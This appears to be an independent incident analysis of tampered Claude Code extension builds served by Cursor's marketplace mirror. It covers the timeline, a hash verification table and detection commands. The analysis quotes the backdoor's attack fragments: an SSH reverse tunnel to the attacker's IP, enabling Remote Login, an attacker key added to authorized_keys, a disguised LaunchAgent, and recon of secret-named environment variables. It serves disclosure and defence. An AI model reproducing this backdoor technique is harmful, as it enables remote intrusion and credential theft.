On 29 October, between 09:27 and 20:35 UTC, Cursor's extension marketplace served tampered builds of Anthropic's Claude Code extension under the real identifier Anthropic.claude-code and two plausible version numbers, 2.1.312 and 2.1.313, for macOS ARM64 and Windows x64. A 7,386-byte loader prepended to extension.js ran the moment the extension loaded. It appended an SSH key tagged svc-telemetry to authorized_keys, tried to switch on Remote Login, opened a reverse tunnel to 134.209.82.225 and installed persistence that retries every 60 seconds.

Cursor's marketplace is a mirror of Open VSX. Its download links live under a path called open-vsx-mirror and redirect to blobs on cursor-cdn.com. Open VSX, npm and the Microsoft marketplace never had a 2.1.313. The 2.1.312 package Cursor serves today for macOS ARM64 is byte-identical to Open VSX's, its Ed25519 signature verifies over the whole package, and its extension.js is 3,685,536 bytes, exactly 7,386 short of the tampered one.

Cursor's "Marketplace Install Cooldown" defaults to 0 hours and signature checking is a Team settings switch. VS Code's extensions.autoUpdateDelay defaults to 12 hours, longer than the window was open. Uninstalling the extension removes none of the backdoor. grep -s svc-telemetry ~/.ssh/authorized_keys is the one-line check.

What was served

Cursor's notice went up on 29 October and was revised on 30 October to add 2.1.312 to the affected list; it gives the window as 2:27am to 1:35pm Pacific. Cursor told Reuters at most 5,000 users were affected. The notice itself gives no number, and nobody has said how the attacker got write access. Anthropic's only public statement I could find is a Hacker News comment by Felix Rieseberg: "A malicious actor used access to Cursor's marketplace to publish a tampered copy of the Claude Code extension, which we didn't build or publish."

StepSecurity recovered a sample. The tampering is a pure prepend: 7,386 bytes of minified but unobfuscated JavaScript in front of the real bundle, with svc-telemetry, 134.209.82.225, systemsetup -setremotelogin on and ssh -N -R all in plaintext. The bundle inside the 2.1.313 package still identifies itself as 2.1.312; only the manifest was bumped. The same extension.js, SHA-256 ecb58cb2…6bf15, sits in all four tampered packages.

The loader collects hostname, username, OS, architecture, home and working directories, the global Git email and the names of up to 40 environment variables matching KEY|TOKEN|SECRET|PASS|AWS|GCP. It writes the attacker's Ed25519 key to ~/.ssh/authorized_keys, drops ~/.config/.smt and .smtk, writes a LaunchAgent labelled com.apple.sysmond with RunAtLoad and KeepAlive, and loops ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225 with a 60-second sleep. On Windows it is a SysMon scheduled task running as SYSTEM with a Startup-folder fallback. After 1.5 seconds it posts the recon to port 8099 at /beacon, on both the attacker host and 127.0.0.1.

Cursor says that "due to errors in the malicious code" the remote-login step would fail without admin rights. Phorion found the error. The loader runs systemsetup -getremotelogin as the user; without admin that prints an access error and exits 0, the output never matches /Off/i, and the enable command is skipped. The tunnel still connects, it just forwards to a closed port 22. On Windows the PowerShell call goes through a helper that hardcodes /bin/sh. If Remote Login was already on, nothing stood in the way, and the key and the persistence are left behind either way.

Where the mirror sits

I queried Cursor's gallery API at marketplace.cursorapi.com this morning. It lists 2,325 version entries for the extension, newest 2.1.316, then 2.1.314, then 2.1.312. No 2.1.313. Every package URL has the form /open-vsx-mirror/api/Anthropic/claude-code/<platform>/<version>/file/…vsix and answers with a 302 to cursor-cdn.com/openvsx_v2/production/<64 hex characters>.

The metadata behind those links is a cached Open VSX response. The 2.1.312 darwin-arm64 record carries the same publish timestamp as open-vsx.org to the microsecond, 2026-10-27T20:27:13.052210Z, a download count of 63,028,452 against 63,589,964 live, and a Last-Modified of 30 October at 15:06 UTC; its own version list still ends at 2.1.314. Every package blob I checked, from 2.1.206 up to 2.1.314, was written on 30 October between 06:31 and 13:30 UTC, after the removal and consistent with Cursor's "we rotated our keys, rebuilt the marketplace". A control extension's metadata was written on 31 October, so I cannot separate a one-off rebuild from a routine resync. 2.1.316 reached Open VSX at 01:03 UTC on 31 October and Cursor's CDN by 02:00.

That makes the tampered packages a Cursor-side artefact: an index entry and a blob in the mirror that upstream never had. Cursor's docs say that "before an extension is shown in search or served as a download, Cursor runs automated malware and supply-chain analysis using commercial security tooling." A loader with the attacker's IP in plaintext passed whatever that analysis checks.

What I verified

Source Version Package SHA-256 extension.js Marker hits
Open VSX 2.1.312 darwin-arm64 b851e43b…73d2, 127,409,262 bytes 3,685,536 bytes, 1195816b…7e29 0
Cursor mirror 2.1.312 darwin-arm64 identical, cmp clean, identical .sigzip identical 0
Open VSX 2.1.312 win32-x64 4393b5a4…5ddd, 141,086,900 bytes same file as darwin 0
Cursor mirror 2.1.314 darwin-arm64 c1017ec0…e6f4, 128,975,065 bytes 3,384,860 bytes 0

The tampered extension.js is 3,692,922 bytes. Subtract the 7,386-byte loader and you get 3,685,536, the clean file's size to the byte. The clean file begins var __EXT_BUNDLE_URL = require('node:url').pathToFileURL(__filename).href;. If yours begins var PUB =, you have the loader.

Open VSX ships a .sigzip beside every package: a manifest of per-file digests, an empty .signature.p7s, and a 64-byte .signature.sig. From the Open VSX source, that .sig is an Ed25519 signature over the entire package, and it verifies against the key Open VSX publishes, for the Open VSX copy and for Cursor's. VS Code's built-in verifier is written for the Microsoft marketplace's PKCS#7 signature, the entry that is empty here. Cursor's docs list "Require Extension Signature Verification" under Team settings for enterprise customers and say nothing about the default. Whether the tampered packages came with a signature file, nobody has said.

The timing math

The window was 11 hours and 8 minutes. VS Code's extensions.autoUpdateDelay defaults to 12 hours in the current source, with a built-in list of trusted publishers exempt; the release notes name Microsoft, GitHub and OpenAI, and the list is not in the public product.json. It started at 2 hours in June. The Microsoft marketplace never carried the tampered builds anyway, and as of this morning its newest version is 2.1.314.

Cursor's equivalent is "Marketplace Install Cooldown (hours)", documented with "Default: 0 (disabled)". A team admin can set it fleet-wide, and an individual can set extensions.installCooldownHours. On defaults, a Cursor install with auto-update on whose check ran inside the window took the build, and so did anyone who installed the extension fresh in those hours.

Check your machine

grep -s svc-telemetry ~/.ssh/authorized_keys
grep -rls -e 134.209.82.225 -e svc-telemetry ~/.cursor/extensions ~/.vscode/extensions
ls -la ~/.config/.smt ~/.config/.smtk ~/Library/LaunchAgents/com.apple.sysmond.plist
pgrep -fl '/\.stk_[0-9a-f]{10}|/\.config/\.smtk|^/bin/sh .*/\.config/\.smt$'

On this Mac: no Cursor, six VS Code copies of the extension from 2.1.195 to 2.1.206 with the clean first line, no key, no files, no job, no process. Cursor's remediate-macos.sh matches extensions by content, because the tampered build keeps the real version number. It unloads the LaunchAgent, kills the tunnel loops, deletes the extension directory and the dropped files, strips the key with a Perl substitution that handles a key sharing a line with yours, and exits 1 if anything is left. It does not reinstall; update to 2.1.314 or later yourself. If it prints "something listens on localhost:22; the tunnel exposed it", treat the host as reachable and rotate from a clean machine.

Not known: what the attacker's access was, whether any tunnel ever connected, and whether a default Cursor install checks signatures at all. I did not have the tampered build; the figures for it are StepSecurity's and Cursor's. All checks ran on 2 November between 08:22 and 08:50 UTC.